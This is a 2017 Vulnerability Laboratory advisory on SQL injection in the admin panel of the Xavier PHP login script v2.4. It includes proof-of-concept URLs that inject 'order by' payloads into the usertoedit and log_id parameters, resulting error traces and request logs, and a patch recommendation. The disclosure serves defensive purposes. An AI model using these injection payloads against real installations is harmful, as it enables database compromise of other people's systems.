Document Title: =============== Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2076 Release Date: ============= 2017-06-06 Vulnerability Laboratory ID (VL-ID): ==================================== 2076 Common Vulnerability Scoring System: ==================================== 5.3 Vulnerability Class: ==================== SQL Injection Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== The script can easily be dropped in to an existing website allowing you to protect pages by adding one line of PHP code at the top of a page. You can also protect sections of pages. Secure your web pages or sections of content dependant on whether your users are logged in or out, or whether they are a member of a User Group. Or secure your pages dependent on whether you are logged on as an administrator. (Copy of the Homepage: https://codecanyon.net/item/xavier-php-login-script-user-management/9146226 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Xavier PHP Login Script & User Management Admin Panel v2.4 web-application. Vulnerability Disclosure Timeline: ================================== 2017-06-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Siggles Product: Xavier - PHP Login Script & User Management Admin Panel 2.4 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple sql-injection vulnerabilities has been discovered in the Xavier PHP Login Script & User Management Admin Panel web-application. The issue allows remote attackers to inject own malicious sql commands to compromise the web-application & database management system. The sql-injection vulnerabilities are located in the `usertoedit` and `log_id` parameters of the `adminuserdit.php` and `editgroup.php` files. Remote attackers with privileged user accounts are able to compromise the web-application and database management system by injection of sql commands via GET method request. The attacker vector is client-side and the request method to inject the sql commands is GET. The vulnerability is a classic order by sql-injection. The security risk of the sql-injection web vulnerability is estimated as medium with a common vulnerability scoring system count of 5.3. Exploitation of the remote sql-injection web vulnerability requires an authenticated web-application user account and no user interaction. Successful exploitation of the sql-injection web vulnerability results in web-application or database management system compromise. Request Method(s): [+] GET Vulnerable File(s): [+] adminuseredit.php [+] editgroup.php Vulnerable Parameter(s): [+] usertoedit [+] log_id Proof of Concept (PoC): ======================= The remote sql-injection vulnerability can be exploited by authenticated user accounts without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Example https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=[SQL-INJECTION VULNERABILITY!] https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=[SQL-INJECTION VULNERABILITY!] PoC: Exploitation https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=1%20order%20by%203-- https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=1%20order%20by%203-- --- SQL Error & Exception Logs --- Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S22]: Column not found: 1054 Unknown column '100' in 'order clause'' in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: #0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') #1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), '1 order by 100-...') #2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300 - Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1' in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack trace: #0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): PDO->query('SELECT * FROM `...') #1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): Functions->returnGroupInfo(Object(Database), ''') #2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300 - Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1' in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:59 Stack trace: #0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(59): PDO->query('SELECT username...') #1 /home/angry/public_html/xavier-demo/admin/adminuseredit.php(26): Functions->usernameTaken('-1' -1'') #2 {main} thrown in /home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 59 --- PoC Session Logs [GET] --- Status: 200[OK] GET https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=%27[SQL-INJECTION VULNERABILITY!]-- Mime Type[text/html] Request Header: Host[xavier-php.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] Keep-Alive[timeout=2, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html] - 20:49:05.559[216ms][total 277ms] Status: 200[OK] GET https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=%27[SQL-INJECTION VULNERABILITY!]-- Mime Type[text/html] Request Header: Host[xavier-php.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache] Keep-Alive[timeout=2, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html] Reference(s): https://xavier-php.localhost:8080/ https://xavier-php.localhost:8080/xavier/ https://xavier-php.localhost:8080/xavier/admin/ https://xavier-php.localhost:8080/xavier/admin/editgroup.php https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php Solution - Fix & Patch: ======================= The vulnerability can be patched by a parse via escape of the vulnerable parameters in the affected php files. Restrict the prameter input and use a prepared statement to secure the functions of the admin panel. Disallow to preview errors in the php code of the panel to prevent attacks. Security Risk: ============== The security risk of the sql-injection vulnerability in the web panel of the xavier application is estimated as medium (CVSS 5.3). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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